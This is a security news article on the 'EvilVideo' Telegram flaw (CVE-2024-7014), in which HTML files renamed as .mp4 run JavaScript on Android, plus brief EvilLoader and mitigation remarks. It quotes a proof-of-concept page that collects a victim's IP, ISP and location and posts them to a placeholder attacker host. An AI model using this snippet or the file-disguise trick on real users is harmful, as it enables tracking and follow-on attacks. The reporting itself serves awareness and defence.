A newly documented exploitation technique targeting Telegram’s file-sharing infrastructure has raised alarms in cybersecurity circles.
Dubbed “EvilVideo,” this attack vector leverages a vulnerability (CVE-2024-7014) in how Telegram processes multimedia content, enabling attackers to disguise malicious HTML files as video files.
When unsuspecting users attempt to open these files, embedded JavaScript code executes, enabling IP logging, device fingerprinting, and secondary payload delivery.
The vulnerability stems from inconsistencies in Telegram’s file-type validation mechanisms. Attackers craft an .htm file containing JavaScript payloads, rename it with an .mp4 extension, and distribute it via Telegram’s API.
When a recipient opens the file, Android’s content provider system parses the URI as content://org.telegram.messenger.provider/media/…, triggering the default browser to render the HTML/JavaScript content rather than a video player.
As per a Cti Monster’s report, The malicious HTML employs browser-based scripting to extract sensitive system and network data.
As demonstrated in the proof-of-concept code below, attackers leverage the fetch API to collect IP geolocation details and exfiltrate them to a command-and-control server:
<!DOCTYPE html>
<html>
<head>
<script>
fetch('http://ip-api.com/json')
.then(response => response.json())
.then(data => {
fetch('http://ATTACKER_IP:5000/log_ip', {
method: 'POST',
body: JSON.stringify({
ip: data.query,
isp: data.isp,
location: `${data.city}, ${data.country}`
})
});
});
</script>
</head>
<body></body>
</html>This script harvests the victim’s public IP address, ISP, and geographical coordinates, providing attackers with critical intelligence for follow-on attacks.
Recent updates to the EvilLoader malware-as-a-service (MaaS) platform incorporate sophisticated anti-analysis checks to evade detection. The module now performs:
These enhancements complicate reverse engineering and allow attackers to deploy secondary payloads—such as fake “Play Protect” warnings—that trick users into disabling security protocols.
The video below shows how “malware and ip logger” scenarios are carried out:
Mitigation Strategies
The EvilVideo exploit underscores the blurred line between file types and execution contexts in modern apps.
As attackers refine content-disguise techniques, users and developers alike must adopt proactive security postures—validating file integrity, updating software regularly, and educating on emerging social engineering tactics.
With CVE-2024-7014 highlighting Telegram’s vulnerability landscape, platform-wide security audits remain imperative to mitigate similar threats.
Collect Threat Intelligence on the Latest Malware and Phishing Attacks with ANY.RUN TI Lookup -> Try for free
A critical zero-day vulnerability in Sitecore’s enterprise content management system (CMS) has been uncovered, enabling…
A recent investigation into misconfigured Apache Airflow instances has uncovered critical vulnerabilities exposing login credentials,…
Federal authorities have unveiled details of a sophisticated cybercrime operation targeting financial institutions across four…
A significant leak of internal chat logs from the Black Basta ransomware group has provided…
Security researchers at Socket have uncovered a sophisticated malware campaign targeting the Go ecosystem. The…
A sophisticated malware campaign has been uncovered, exploiting the growing popularity of Windows Packet Divert…